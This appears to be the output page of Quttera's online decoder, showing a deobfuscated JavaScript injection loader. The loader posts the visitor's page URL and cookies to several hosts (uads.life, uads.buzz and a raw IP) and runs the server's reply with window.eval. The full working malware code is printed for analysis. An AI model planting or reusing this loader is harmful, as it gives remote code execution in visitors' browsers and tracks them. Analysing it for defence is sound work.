Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


var vXAdsObj=
	{
	'url':['//uads.life','//uads.buzz','http://141.98.82.232'],'gate':'/g.php','cookie':'xads_platf','mobile':false
};
function getXmlHttp()
	{
	var xmlhttp;
	try
		{
		xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")
	}
	catch(e)
		{
		try
			{
			xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
		}
		catch(E)
			{
			xmlhttp=false
		}
	}
	if(!xmlhttp&&typeof XMLHttpRequest!='undefined')
		{
		xmlhttp=new XMLHttpRequest()
	}
	return xmlhttp
};
function getCookie(name)
	{
	var cookie=" "+document.cookie;
	var search=" "+name+"=";
	var setStr=null;
	var offset=0;
	var end=0;
	if(cookie.length>0)
		{
		offset=cookie.indexOf(search);
		if(offset!=-1)
			{
			offset+=search.length;
			end=cookie.indexOf(";
			",offset);
			if(end==-1)
				{
				end=cookie.length
			}
			setStr=unescape(cookie.substring(offset,end))
		}
	}
	return(setStr)
};
function setCookie(name,value,expires,path,domain,secure)
	{
	document.cookie=name+"="+escape(value)+((expires)?";
	 expires="+expires:"")+((path)?";
	 path="+path:"")+((domain)?";
	 domain="+domain:"")+((secure)?";
	 secure":"")
};
(function(vAdsObj)
	{
	var iStatus=getCookie(vAdsObj['cookie']);
	if(iStatus==null)iStatus=0;
	var sMA=getCookie(vAdsObj['cookie']+'_ma');
	if(sMA==null)sMA='[]';
	var sMS=getCookie(vAdsObj['cookie']+'_ms');
	if(sMS==null)sMS='[]';
	var sPayload='s='+iStatus.toString()+'&u='+encodeURIComponent(window.location.href)+'&ma='+encodeURIComponent(sMA)+'&ms='+encodeURIComponent(sMS);
	var iUrlInd=0;
	var sUrl=vAdsObj['url'][iUrlInd]+vAdsObj['gate'];
	var xmlhttp=getXmlHttp();
	xmlhttp.open('POST',sUrl,true);
	xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
	xmlhttp.onreadystatechange=function()
		{
		if(xmlhttp.readyState==4)
			{
			if(xmlhttp.status!=200)
				{
				++iUrlInd;
				if(iUrlInd>=vAdsObj['url'].length)return;
				bByIp=true;
				xmlhttp.open('POST',vAdsObj['url'][iUrlInd]+vAdsObj['gate'],true);
				xmlhttp.send(sPayload)
			}
			else
				{
				try
					{
					if(xmlhttp.responseText.length==0)return;
					var Response=JSON.parse(xmlhttp.responseText);
					var sCode='';
					var iT=0;
					var bM=false;
					try
						{
						sCode=Response['c']
					}
					catch(e)
						{
					}
					try
						{
						iT=Response['t']
					}
					catch(e)
						{
					}
					try
						{
						bM=(Response['m']==1)
					}
					catch(e)
						{
					}
					vAdsObj['mobile']=bM;
					if(sCode.length>0)
						{
						var vDate=new Date();
						vDate.setYear(vDate.getFullYear()+1);
						if(iT>0)
							{
							setCookie(vAdsObj['cookie']+'_t',iT.toString(),vDate.toUTCString())
						}
						try
							{
							setCookie(vAdsObj['cookie']+'_fp',Response['fp'],vDate.toUTCString())
						}
						catch(e)
							{
						}
						if(iStatus==0)
							{
							setCookie(vAdsObj['cookie'],'1',vDate.toUTCString())
						}
						var vM=null;
						try
							{
							vM=JSON.parse(getCookie(vAdsObj['cookie']+'_ms'))
						}
						catch(e)
							{
						}
						if(vM==null)vM=[];
						if(vM.indexOf(iT)==-1)vM[vM.length]=1*iT;
						setCookie(vAdsObj['cookie']+'_ms',JSON.stringify(vM),vDate.toUTCString());
						window.eval(sCode)
					}
				}
				catch(e)
					{
				}
			}
		}
	};
	xmlhttp.send(sPayload)
}
)(vXAdsObj);



© 2023 Quttera Ltd. All rights reserved.